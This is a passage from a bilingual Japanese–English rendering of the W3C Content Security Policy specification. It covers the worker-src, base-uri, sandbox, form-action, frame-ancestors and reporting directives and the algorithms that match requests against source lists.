				<section id="worker-src-post-request">
<h5 title="worker-src Post-request Check">6.2.2.2. `worker-src^dir 要請後~検査</h5>
<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `worker-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請に対する応答は~source~listに合致するか？$A( %応答, %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
		</section>
		<section id="directives-document">
<h3 title="Document Directives">6.3. 文書~指令</h3>

<p>
この節の指令は、
施策が適用される［
文書／~worker
］環境の~propを統治する。
◎
The following directives govern the properties of a document or worker environment to which a policy applies.
</p>

			<section id="directive-base-uri">
<h4 title="base-uri">6.3.1. `base-uri^dir</h4>

<p>
`base-uri@dir
指令は、
`文書$の `base$e 要素に利用できる`~URL$を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The base-uri directive restricts the URLs which can be used in a Document’s base element. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "base-uri"
`directive-value$p
	= `serialized-source-list$p
</pre>

<p>
次の~algoは、
この指令を
監視する／施行する
ために，［
~HTMLの，`凍結d基底~URLを設定する$~algo
］から~callされる：
◎
The following algorithm is called during HTML’s set the frozen base url algorithm in order to monitor and enforce this directive:
</p>

				<section id="allow-base-for-document">
<h5 title="Is base allowed for document?">6.3.1.1. 文書に対する基底は許容されるか？</h5>

<p>
次の~algoは、
所与の
( `~URL$ %基底, `文書$ %文書 )
に対し，［
%基底 を `base$e 要素の `href$a 属性の値として利用できるならば `許容される^i ／
~ELSE_ `阻止される^i
］を返す：
◎
Given a URL base, and a Document document, this algorithm returns "Allowed" if base may be used as the value of a base element’s href attribute, and "Blocked" otherwise:
</p>
<ol>
	<li>
<p>
%文書 の`大域~obj$が`有する~CSP~list$
【 %文書 が`有する~CSP~list$？】
を成す
~EACH( %施策 )
に対し：
◎
For each policy of document’s global object’s csp list:
</p>
		<ol>
			<li>
%~source~list ~LET ~NULL
◎
Let source list be null.
</li>
			<li>
~IF［
%施策 の`指令~集合$内に［
`名前$ `base-uri^l を伴う`指令$
］は在る
］
⇒
%~source~list ~SET その`指令$の`値$
◎
If a directive whose name is "base-uri" is present in policy’s directive set, set source list to that directive’s value.
</li>
			<li>
~IF［
%~source~list ~EQ ~NULL
］
⇒
~CONTINUE
◎
If source list is null, skip to the next policy.
</li>
			<li>
<p>
~IF［
`~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか？$A( %基底, %~source~list, %施策 の`自己-生成元$, 0 )
~EQ `合致しない^i
］：
◎
If the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on base, source list, policy’s self-origin, and 0 is "Does Not Match":
</p>
				<ol>
					<li>
%違反 ~LET `新たな違反~obj$A1( %文書 の`大域~obj$, %施策, `base-uri$dir )
◎
Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on document’s global object, policy, and "base-uri".
</li>
					<li>
%違反 の`資源$vr ~SET `inline^l
◎
Set violation’s resource to "inline".
</li>
					<li>
`違反を報告する$A( %違反 )
◎
Execute § 5.5 Report a violation on violation.
</li>
					<li>
~IF［
%施策 の`処置先$ ~EQ `enforce^l
］
⇒
~RET `阻止される^i
◎
If policy’s disposition is "enforce", return "Blocked".
</li>
				</ol>
			</li>
		</ol>
<p class="note">注記：
ここで %施策 の`自己-生成元$†と比較するのは、
不透明な生成元の中へ~sandbox化された`~iframe-srcdoc文書$などに正しく~~対処するためである。
【† 原文には “`fallback base URL^en （`~fallback基底~URL＠~HTMLurl#fallback-base-url$）” と記されているが、（自己-生成元が導入される前の）古い記述の更新漏れと見受けられる。】
◎
Note: We compare against the fallback base URL in order to deal correctly with things like an iframe srcdoc Document which has been sandboxed into an opaque origin.
</p>
	</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="directive-sandbox">
<h4 title="sandbox">6.3.2. `sandbox^dir</h4>

<p>
`sandbox@dir
指令は、［
その値が `iframe$e の `sandbox$a 属性の値に含められていた
］かのように，~UAが資源に適用することになる~HTML~sandbox施策を指定する。
◎
The sandbox directive specifies an HTML sandbox policy which the user agent will apply to a resource, just as though it had been included in an iframe with a sandbox property.
</p>

<p>
この指令の名前と値の構文は、
次の`~ABNF$で述べられる。
加えて，その各 `token^p 値は、
`HTML$r により［
`iframe$e の `sandbox$a 属性に許容される値
］として定義される，いずれかの~keywordでなければナラナイ：
◎
The directive’s syntax is described by the following ABNF grammar, with the additional requirement that each token value MUST be one of the keywords defined by HTML specification as allowed values for the iframe sandbox attribute [HTML].
</p>

<pre class="bnf">
`directive-name$p
	= "sandbox"
`directive-value$p
	= ""
	/ `token$p *( `required-ascii-whitespace$p `token$p )
</pre>

<p>
この指令には、
報告-法の要件はない
— この指令が［
`Content-Security-Policy-Report-Only$h ~header内で送達された ／
`meta$e 要素の中にある
］ときは、
まるごと無視されることになる。
◎
This directive has no reporting requirements; it will be ignored entirely when delivered in a Content-Security-Policy-Report-Only header, or within a meta element.
</p>

				<section id="sandbox-init">
<h5 title="sandbox Initialization">6.3.2.1. `sandbox^dir 初期化</h5>

<p>
次の~algoが、
この指令の`初期化$Aを与える。
それは、
その施策~内に `sandbox$dir 値が在るかどうかに則って，
~workerを走らすのは許容されるかどうか検査する責を負う：
◎
This directive’s initialization algorithm is responsible for checking whether a worker is allowed to run according to the sandbox values present in its policies as follows:
</p>

<p class="note">注記：
`sandbox$dir 指令は、
`~CSPから導出される~sandbox法~flag群$を介して
`文書$にて`作動中な~sandbox法~flag集合$を調整する責も負う。
◎
Note: The sandbox directive is also responsible for adjusting a Document’s active sandboxing flag set via the CSP-derived sandboxing flags.
</p>

<p>
所与の
( `文書$または`大域~obj$ %文脈, `施策$ %施策 )
に対し：
◎
Given a Document or global object context and a policy policy:
</p>
<ol>
	<li>
~IF［
%施策 の`処置先$ ~NEQ `enforce^l
］~OR［
%文脈 は `WorkerGlobalScope$I でない
］
⇒
~RET
◎
If policy’s disposition is not "enforce", or context is not a WorkerGlobalScope, then abort this algorithm.
</li>
	<li>
%~sandbox法~flag集合 ~LET 新たな`~sandbox法~flag集合$
◎
Let sandboxing flag set be a new sandboxing flag set.
</li>
	<li>
`~sandbox法~指令を構文解析する$( この指令の`値$, %~sandbox法~flag集合 )
◎
Parse a sandboxing directive using this directive’s value as the input, and sandboxing flag set as the output.
</li>
	<li>
<p>
~IF［
`閲覧~文脈~sandbox化( ~script )~flag$ ~IN %~sandbox法~flag集合
］~OR［
`閲覧~文脈~sandbox化( 生成元 )~flag$ ~IN %~sandbox法~flag集合
］
⇒
~RET `阻止される^i
◎
If sandboxing flag set contains either the sandboxed scripts browsing context flag or the sandboxed origin browsing context flag flags, return "Blocked".
</p>

<p class="note">注記：
この段は、
~workerを一意な生成元【！＊】の中へ~sandbox化することを許容した場合には，
変更する必要がある。
そうするのは、
相当に適理と見受けられる。
◎
Note: This will need to change if we allow Workers to be sandboxed into unique origins, which seems like a pretty reasonable thing to do.
</p>
	</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
		</section>
		<section id="directives-navigation">
<h3 title="Navigation Directives">6.4. ~navi指令</h3>

			<section id="directive-form-action">
<h4 title="form-action">6.4.1. `form-action^dir</h4>

<p>
`form-action@dir
指令は、
所与の文脈からの~form提出の~targetとして利用できる`~URL$を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The form-action directive restricts the URLs which can be used as the target of a form submissions from a given context. The directive’s syntax is described by the following ABNF grammar:
</p>

<pre class="bnf">
`directive-name$p
	= "form-action"
`directive-value$p
	= `serialized-source-list$p
</pre>

				<section id="form-action-pre-navigate">
<h5 title="form-action Pre-Navigation Check">6.4.1.1. `form-action^dir ~navi前~検査</h5>

<p>
次の~algoが、
この指令の`~navi前~検査$Aを与える：
それは、
所与の
( `要請$ %要請, 文字列 %~navi種別, `施策$ %施策 )
に対し，［
~form提出が `form-action^dir 指令による拘束に違反するならば `阻止される^i ／
~ELSE_ `許容される^i
］を返す：
◎
Given a request request, a string navigation type ("form-submission" or "other"), and a policy policy this algorithm returns "Blocked" if a form submission violates the form-action directive’s constraints, and "Allowed" otherwise. This constitutes the form-action directive’s pre-navigation check:
</p>
<ol>
	<li>
~Assert：
%~navi種別 ~IN { `form-submission^l, `other^l }
◎
↑</li>
	<li>
~Assert：
%施策 は、
この~algoには利用されない。
◎
Assert: policy is unused in this algorithm.
</li>
	<li>
<p>
~IF［
%~navi種別 ~EQ `form-submission^l
］：
◎
If navigation type is "form-submission":
</p>
		<ol>
			<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and a policy, is "Does Not Match", return "Blocked".
</li>
		</ol>
	</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>
				</section>
			</section>
			<section id="directive-frame-ancestors">
<h4 title="frame-ancestors">6.4.2. `frame-ancestors^dir</h4>

<p>
`frame-ancestors@dir
指令は、［
`frame$e ／ `iframe$e ／ `object$e ／ `embed$e
］要素を利用して埋込める資源の`~URL$を制約する。
この指令を利用すれば、［
敵対的になり得る文脈の中に資源が埋込まれる~risk
］を避けることで，多くの `UI Redressing^en 【 UI の着せ替え】 攻撃 `UISECURITY$r を避けれるようになる。
◎
The frame-ancestors directive restricts the URLs which can embed the resource using frame, iframe, object, or embed. Resources can use this directive to avoid many UI Redressing [UISECURITY] attacks, by avoiding the risk of being embedded into potentially hostile contexts.
</p>

<p>
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The directive’s syntax is described by the following ABNF grammar:
</p>

<pre class="bnf">
`directive-name$p
	= "frame-ancestors"
`directive-value$p
	= `ancestor-source-list$p

`ancestor-source-list@p
	= ( `ancestor-source$p *( `required-ascii-whitespace$p `ancestor-source$p) )
	/ "`none$pl"
`ancestor-source@p
	= `scheme-source$p
	/ `host-source$p
	/ "`self$pl"
</pre>

<p>
`meta$e 要素を介して宣言された施策~内に包含されている `frame-ancestors^dir 指令は、
無視するモノトスル。
◎
The frame-ancestors directive MUST be ignored when contained in a policy declared via a meta element.
</p>

<p class="note">注記：
`frame-ancestors^dir 指令は、
構文は`~source~list$に類似するが，
`default-src^dir 指令が指定されていても その値に~fall-backしない。
すなわち，施策が
<samp>`default-src^dir `none$pl</samp>
を宣言していても、
依然として，資源はどこからでも埋込まれることが許容される。
◎
Note: The frame-ancestors directive’s syntax is similar to a source list, but frame-ancestors will not fall back to the default-src directive’s value if one is specified. That is, a policy that declares default-src 'none' will still allow the resource to be embedded by anyone.
</p>

				<section id="frame-ancestors-navigation-response">
<h5 title="frame-ancestors Navigation Response Check">6.4.2.1. `frame-ancestors^dir ~navi応答~検査</h5>

<p>
次の~algoが、
この指令の`~navi応答~検査$Aを与える
— それは、
所与の (
`要請$ %要請,
文字列 %~navi種別,
`応答$ %~navi応答,
`~navigable$ %~target,
文字列 %検査~種別,
`施策$ %施策
) に対し，［
%~target のいずれかの先祖が応答に伴って送達されてきた `frame-ancestors^dir 指令に違反するならば `阻止される^i ／
~ELSE_ `許容される^i
］を返す：
◎
Given a request request, a string navigation type ("form-submission" or "other"), a response navigation response, a navigable target, a string check type ("source" or "response"), and a policy policy this algorithm returns "Blocked" if one or more of the ancestors of target violate the frame-ancestors directive delivered with the response, and "Allowed" otherwise. This constitutes the frame-ancestors directive’s navigation response check:
</p>
<ol>
	<li>
~Assert
⇒＃
%~navi種別 ~IN { `form-submission^l, `other^l },
%検査~種別 ~IN { `source^l, `response^l }
◎
↑</li>
	<li>
~IF［
%~navi応答 の`~URL$rsは`局所的$urlである
］
⇒
~RET `許容される^i
◎
If navigation response’s URL is local, return "Allowed".
</li>
	<li>
~Assert：
［
%要請, %~navi応答, %~navi種別
］は、
この~algoの以降では利用されない
— `frame-ancestors^dir が懸念するのは、
%~navi応答 の `frame-ancestors$dir `指令$に限られるので。
◎
Assert: request, navigation response, and navigation type, are unused from this point forward in this algorithm, as frame-ancestors is concerned only with navigation response’s frame-ancestors directive.
</li>
	<li>
<p>
~IF［
%検査~種別 ~EQ `source^l
］
⇒
~RET `許容される^i
◎
If check type is "source", return "Allowed".
</p>

<p class="note">注記：
`frame-ancestors^dir `指令$が関連するのは、
%~target `~navigable$に限られる
— %要請 の文脈に対する影響iはない。
◎
Note: The 'frame-ancestors' directive is relevant only to the target navigable and it has no impact on the request’s context.
</p>
	</li>
	<li>
<p>
~WHILE［
%~target は`子~navigable$である
］：
◎
If target is not a child navigable, return "Allowed".
◎
Let current be target.
◎
While current is a child navigable:
</p>
		<ol>
			<li>
%文書 ~LET %~target の`容器~文書$nav
◎
Let document be current’s container document.
</li>
			<li>
%生成元 ~LET `~URL構文解析する$( `生成元を直列化する$( %文書 の`生成元$doc ) )
◎
Let origin be the result of executing the URL parser on the ASCII serialization of document’s origin.
</li>
			<li>
~IF［
`~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか？$A( %生成元, この指令の`値$, %施策 の`自己-生成元$, 0 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If § 6.7.2.7 Does url match source list in origin with redirect count? returns Does Not Match when executed upon origin, this directive’s value, policy’s self-origin, and 0, return "Blocked".
</li>
			<li>
%~target ~SET %文書 の`~node~navigable$
◎
Set current to document’s node navigable.
</li>
		</ol>
	</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="frame-ancestors-and-frame-options">
<h5 title="Relation to X-Frame-Options">6.4.2.2. `X-Frame-Options^h との関係</h5>

<p>
この指令は、
`X-Frame-Options$h ~HTTP応答~header `HTML$r に類似する。
この~header用の値［
`DENY^bl ／ `SAMEORIGIN^bl
］と`~source式$［
`none$pl ／ `self$pl
］は、
概ね等価になる。
◎
This directive is similar to the ``X-Frame-Options`` HTTP response header. The 'none' source expression is roughly equivalent to that header’s `DENY`, and 'self' to that header’s `SAMEORIGIN`. [HTML]
</p>

<p>
後方-互換な配備を可能にするため、
`frame-ancestors$dir 指令は， `X-Frame-Options$h ~headerを上書きする。
ある資源が［
名前 `frame-ancestors$dir の`指令$を含む`施策$
］を伴って送達され，かつ［
その`処置先$ ~EQ `enforce^l
］の場合、
`X-Frame-Options$h ~headerは，
~HTMLの処理~modelに従って無視されることになる。
◎
In order to allow backwards-compatible deployment, the frame-ancestors directive overrides the ``X-Frame-Options`` header. If a resource is delivered with a policy that includes a directive named frame-ancestors and whose disposition is "enforce", then the ``X-Frame-Options`` header will be ignored, per HTML’s processing model.
</p>

				</section>
			</section>
		</section>
		<section id="directives-reporting">
<h3 title="Reporting Directives">6.5. 指令の報告-法</h3>

<p>
この文書~内の各種~algoは、
報告-処理の中に~hookされる
—
［
`新たな違反~obj$A( %大域~obj, … ) ／
`新たな違反~obj$A1( %要請, … )
］手続きを介して`違反$~objを構築した上で、
報告を送達するときに，その~objを`違反を報告する$A手続きに渡すことにより。
◎
Various algorithms in this document hook into the reporting process by constructing a violation object via § 2.4.2 Create a violation object for request, and policy. or § 2.4.1 Create a violation object for global, policy, and directive, and passing that object to § 5.5 Report a violation to deliver the report.
</p>

			<section id="directive-report-uri">
<h4 title="report-uri">6.5.1. `report-uri^dir</h4>

<div class="note">
<p>注記：
`report-uri$dir 指令は、
非推奨にされた。
代わりに `report-to$dir を利用されたし。
後者が在る場合、
この指令は無視されることになる。
後方-互換性を確保するためには、
次のように両者とも指定することが示唆される：
◎
Note: The report-uri directive is deprecated. Please use the report-to directive instead. If the latter directive is present, this directive will be ignored. To ensure backwards compatibility, we suggest specifying both, like this:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    ...;
    `report-uri$dir https://endpoint.com;
    `report-to$dir groupname
</pre>
</div>

<p>
`report-uri@dir
指令は、
`報告先$
— 特定0の挙動が防止されたとき，`~CSP違反~報告$の送信-先になる~network端点 —
たちが成す集合を定義する。
◎
The report-uri directive defines a set of endpoints to which csp violation reports will be sent when particular behaviors are prevented.
</p>

<pre class="bnf">
`directive-name$p
	= "report-uri"
`directive-value$p
	= `uri-reference$p *( `required-ascii-whitespace$p `uri-reference$p )
; The uri-reference grammar is defined in Section 4.1 of RFC 3986.
</pre>

<p>
この指令は、
それ自身は効果を持たず，他の指令との組合nにおいてのみ効果を~~発揮する。
◎
The directive has no effect in and of itself, but only gains meaning in combination with other directives.
</p>

			</section>
			<section id="directive-report-to">
<h4 title="report-to">6.5.2. `report-to^dir</h4>

<p>
`report-to@dir
指令は、
違反~報告の送信-先とされるべき`報告先$ `REPORTING$r を定義する。
この指令の挙動は、
`違反を報告する$A~algoにて定義される。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The report-to directive defines a reporting endpoint to which violation reports ought to be sent [REPORTING]. The directive’s behavior is defined in § 5.5 Report a violation. The directive’s name and value are described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "report-to"
`directive-value$p
	= `token$p
</pre>

			</section>
		</section>
		<section id="directives-elsewhere">
<h3 title="Directives Defined in Other Documents">6.6. 他の文書にて定義される指令</h3>

<p>
この文書は、
中核を成す一群の指令を定義して，他の仕様が~modularに拡張するための~frameworkを整える。
この文書が公表された時点では、
次に挙げる安定的な文書が~CSPを拡張している：
◎
This document defines a core set of directives, and sets up a framework for modular extension by other specifications. At the time this document was produced, the following stable documents extend CSP:
</p>

<ul>
	<li>
`MIX$r は、
`block-all-mixed-content$dir 指令を定義する
【が、その~level 2 にて廃用にされた】。
◎
[MIX] defines block-all-mixed-content
</li>
	<li>
`UPGRADE-INSECURE-REQUESTS$r は、
`upgrade-insecure-requests$dir 指令を定義する。
◎
[UPGRADE-INSECURE-REQUESTS] defines upgrade-insecure-requests
</li>
</ul>

<p>
~CSPに対する拡張は、
`RFC7762$r に従って登録されなければナラナイ。
特に、
その文書の § 4.2 に論じられている判定基準に注意。
◎
Extensions to CSP MUST register themselves via the process outlined in [RFC7762]. In particular, note the criteria discussed in Section 4.2 of that document.
</p>

<p>
新たな指令は、
各種~hook
— `要請前~検査$A, `要請後~検査$A, `初期化$A —
を利用して，自身を［
~Fetch／~HTML
］に統合するベキである。
◎
New directives SHOULD use the pre-request check, post-request check, and initialization hooks in order to integrate themselves into Fetch and HTML.
</p>

		</section>
		<section id="matching-algorithms">
<h3 title="Matching Algorithms">6.7. 各種~照合~algo</h3>

			<section id="script-checks">
<h4 title="Script directive checks">6.7.1. ~script指令の検査</h4>

				<section id="script-pre-request">
<h5 title="Script directives pre-request check">6.7.1.1. ~script指令の要請前~検査</h5>

<p>
所与の
( `要請$ %要請, `指令$ %指令, `施策$ %施策 )
に対し：
◎
Given a request request, a directive directive, and a policy policy:
</p>
<ol>
	<li>
%~list ~LET %指令 の`値$
◎
↓</li>
	<li>
<p>
~IF［
%要請 の`行先$rqは`~scriptに類する$
］：
◎
If request’s destination is script-like:
</p>
		<ol>
			<li>
~IF［
`~nonceは~source~listに合致するか？$A( %要請 の`暗号用~nonce~metadata$rq, %~list )
~EQ `合致する^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
</li>
			<li>
~IF［
`完全性~metadataは~source~listに合致するか？$A( %要請 の`完全性~metadata$rq, %~list ) ~EQ `合致する^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.7.2.4 Does integrity metadata match source list? on request’s integrity metadata and this directive’s value is "Matches", return "Allowed".
</li>
			<li>
<p>
~IF［
`strict-dynamic$pl ~IN`大小無視$sub %~list
］
⇒
~RET ［
次が満たされるならば `許容される^i ／
~ELSE_ `阻止される^i
］
⇒
%要請 の`構文解析器~metadata$rq ~NEQ `parser-inserted$l
◎
If directive’s value contains a source expression that is an ASCII case-insensitive match for the "'strict-dynamic'" keyword-source:
• If the request’s parser metadata is "parser-inserted", return "Blocked".
• Otherwise, return "Allowed".
</p>

<p class="note">注記：
`strict-dynamic$pl についての詳細は、
`§ ~strict-dynamic の用法$
にて。
◎
Note: "'strict-dynamic'" is explained in more detail in § 8.2 Usage of "'strict-dynamic'".
</p>
			</li>
			<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, %~list, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
		</ol>
	</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="script-post-request">
<h5 title="Script directives post-request check">6.7.1.2. ~script指令の要請後~検査</h5>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `指令$ %指令, `施策$ %施策 )
に対し：
◎
This directive’s post-request check is as follows:
◎
Given a request request, a response response, a directive directive, and a policy policy:
</p>
<ol>
	<li>
%~list ~LET %指令 の`値$
◎
↓</li>
	<li>
<p>
~IF［
%要請 の`行先$rqは`~scriptに類する$
］：
◎
If request’s destination is script-like:
</p>
		<ol>
			<li>
`必要なら~hashを報告する$A( %応答, %要請, %指令, %施策 )
◎
Call potentially report hash with response, request, directive and policy.
</li>
			<li>
~IF［
`~nonceは~source~listに合致するか？$A( %要請 の`暗号用~nonce~metadata$rq, %~list )
~EQ `合致する^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
</li>
			<li>
~IF［
`完全性~metadataは~source~listに合致するか？$A( %要請 の`完全性~metadata$rq, %~list ) ~EQ `合致する^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.7.2.4 Does integrity metadata match source list? on request’s integrity metadata and this directive’s value is "Matches", return "Allowed".
</li>
			<li>
~IF［
%~list 内に `strict-dynamic$pl は在る
【`大小無視$sub？】
］
⇒
~RET ［
次が満たされるならば `許容される^i ／
~ELSE_ `阻止される^i
］
⇒
%要請 の`構文解析器~metadata$rq ~NEQ `parser-inserted$l
◎
If directive’s value contains "'strict-dynamic'":
• If request’s parser metadata is not "parser-inserted", return "Allowed".
• Otherwise, return "Blocked".
</li>
			<li>
~IF［
`要請に対する応答は~source~listに合致するか？$A( %応答, %要請, %~list, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
		</ol>
	</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="matching-urls">
<h4 title="URL Matching">6.7.2. ~URLの照合-法</h4>

				<section id="does-request-violate-policy">
<h5 title="Does request violate policy?">6.7.2.1. 要請は施策に違反するか？</h5>

<p>
次の~algoは、
所与の
( `要請$ %要請, `施策$ %施策 )
に対し，［
%要請 が %施策 に違反するならば 違反された`指令$ ／
違反しないならば ε
］を返す：
◎
Given a request request and a policy policy, this algorithm returns the violated directive if the request violates the policy, and "Does Not Violate" otherwise.
</p>
<ol>
	<li>
~IF［
%要請 の`起動元$rq ~EQ `prefetch^l
］
⇒
~RET `資源~hint要請は施策に違反するか？$A( %要請, %施策 )
◎
If request’s initiator is "prefetch", then return the result of executing § 6.7.2.2 Does resource hint request violate policy? on request and policy.
</li>
	<li>
%違反された指令 ~LET ε
◎
Let violates be "Does Not Violate".
</li>
	<li>
<p>
%施策 の`指令~集合$を成す
~EACH( %指令 )
に対し：
◎
For each directive of policy:
</p>
		<ol>
			<li>
%結果 ~LET %指令 の`要請前~検査$A( %要請, %施策 )
◎
Let result be the result of executing directive’s pre-request check on request and policy.
</li>
			<li>
~IF［
%結果 ~EQ `阻止される^i
］
⇒
%違反された指令 ~LET %指令
◎
If result is "Blocked", then let violates be directive.
</li>
		</ol>
	</li>
	<li>
~RET %違反された指令
◎
Return violates.
</li>
</ol>

				</section>
				<section id="does-resource-hint-violate-policy">
<h5 title="Does resource hint request violate policy? ">6.7.2.2. 資源~hint要請は施策に違反するか？</h5>

<p>
次の~algoは、
所与の
( `要請$ %要請, `施策$ %施策 )
に対し，［
当の資源~hint要請が すべての施策に違反する場合は既定の`指令$／
~ELSE_ ε
］を返す：
◎
Given a request request and a policy policy, this algorithm returns the default directive if the resource-hint request violates all the policies, and "Does Not Violate" otherwise.
</p>
<ol>
	<li>
%既定の指令 ~LET ε
◎
↓</li>
	<li>
%施策 を成す
~EACH( %指令 )
に対し
⇒
~IF［
%指令 の`名前$ ~EQ `default-src^l
］
⇒＃
%既定の指令 ~SET %指令；
~BREAK
◎
Let defaultDirective be policy’s first directive whose name is "default-src".
</li>
	<li>
~IF［
%既定の指令 ~EQ ε
］
⇒
~RET ε
◎
If defaultDirective does not exist, return "Does Not Violate".
</li>
	<li>
<p>
%施策 を成す
~EACH( %指令 )
に対し：
◎
For each directive of policy:
</p>
		<ol>
			<li>
~IF［
%指令 の`名前$ ~NIN {
`child-src^l,
`connect-src^l,
`font-src^l,
`frame-src^l,
`img-src^l,
`manifest-src^l,
`media-src^l,
`object-src^l,
`script-src^l,
`script-src-elem^l,
`style-src^l,
`style-src-elem^l,
`worker-src^l
}
］
⇒
~CONTINUE
◎
If directive’s name is not one of the following:
• child-src
• connect-src
• font-src
• frame-src
• img-src
• manifest-src
• media-src
• object-src
• script-src
• script-src-elem
• style-src
• style-src-elem
• worker-src
then continue.
</li>
			<li>
~Assert：
%指令 の`値$は`~source~list$である。
◎
Assert: directive’s value is a source list.
</li>
			<li>
%結果 ~LET `要請は~source~listに合致するか？$A( %要請, %指令 の`値$, %施策 )
◎
Let result be the result of executing § 6.7.2.5 Does request match source list? on request, directive’s value, and policy.
</li>
			<li>
~IF［
%結果 ~EQ `許容される^i
］
⇒
~RET ε
◎
If result is "Allowed", then return "Does Not Violate".
</li>
		</ol>
	</li>
	<li>
~RET %既定の指令
◎
Return defaultDirective.
</li>
</ol>

				</section>
				<section id="match-nonce-to-source-list">
<h5 title="Does nonce match source list?">6.7.2.3. ~nonceは~source~listに合致するか？</h5>

<p>
次の~algoは、
所与の
( `要請$の`暗号用~nonce~metadata$rq %~nonce, `~source~list$ %~source~list )
に対し，［
%~nonce が %~source~list 内のいずれかの式に合致するならば `合致する^i ／
合致しないならば `合致しない^i
］を返す：
◎
Given a request’s cryptographic nonce metadata nonce and a source list source list, this algorithm returns "Matches" if the nonce matches one or more source expressions in the list, and "Does Not Match" otherwise:
</p>
<ol>
	<li>
~Assert：
%~source~list ~NEQ ~NULL
◎
Assert: source list is not null.
</li>
	<li>
~IF［
%~nonce ~EQ 空~文字列
］
⇒
~RET `合致しない^i
◎
If nonce is the empty string, return "Does Not Match".
</li>
	<li>
<p>
%~source~list を成す
~EACH( %式 )
に対し：
◎
For each expression of source list:
</p>
		<ol>
			<li>
~IF［
%式 は `nonce-source$p 文法に合致する
］~AND［
%~nonce ~EQ %式 の `base64-value$p 成分
］
⇒
~RET `合致する^i
◎
If expression matches the nonce-source grammar, and nonce is identical to expression’s base64-value part, return "Matches".
</li>
		</ol>
	</li>
	<li>
~RET `合致しない^i
◎
Return "Does Not Match".
</li>
</ol>

				</section>
				<section id="match-integrity-metadata-to-source-list">
<h5 title="Does integrity metadata match source list? ">6.7.2.4. 完全性~metadataは~source~listに合致するか？</h5>

<p>
次の~algoは、
所与の
( `要請$の`完全性~metadata$rq %完全性~metadata, `~source~list$ %~source~list )
に対し，［
%完全性~metadata が %~source~list 内のいずれかの式に合致するならば `合致する^i ／
合致しないならば `合致しない^i
］を返す：
◎
Given a request’s integrity metadata integrity metadata and a source list source list, this algorithm returns "Matches" if the integrity metadata matches one or more source expressions in the list, and "Does Not Match" otherwise:
</p>

<ol>
	<li>
~Assert：
%~source~list ~NEQ ~NULL
◎
Assert: source list is not null.
</li>
	<li>
%完全性~式~群 ~LET %~source~list 内の `hash-source$p 文法に合致する`~source式$たちが成す集合
◎
Let integrity expressions be the set of source expressions in source list that match the hash-source grammar.
◎
↓ If integrity expressions is empty, return "Does Not Match".
</li>
	<li>
%完全性~source群 ~LET `~metadataを構文解析する$( %完全性~metadata )
`SRI$r
【！ "no metadata" は廃された】
◎
Let integrity sources be the result of executing the algorithm defined in SRI § 3.3.2 Parse metadata. on integrity metadata. [SRI]
◎
↓ If integrity sources is "no metadata" or an empty set, return "Does Not Match".
</li>
	<li>
%完全性~source群 を成す
~EACH( %~source )
に対し
⇒
%完全性~式~群 を成す
~EACH( %式 )
に対し
⇒
~IF［
%式 の `hash-algorithm$p 成分 ~EQ`大小無視$sub %~source の`~algo$iM【！hash-algorithm】
］~AND［
%式 の `base64-value$p 成分 ~EQ  %~source の`値$iM【！base64-value】
］
⇒
~RET `合致する^i
◎
For each source of integrity sources:
• If integrity expressions does not contain a source expression whose hash-algorithm is an ASCII case-insensitive match for source’s hash-algorithm, and whose base64-value is identical to source’s base64-value, return "Does Not Match".
◎
Return "Matches".
</li>
	<li>
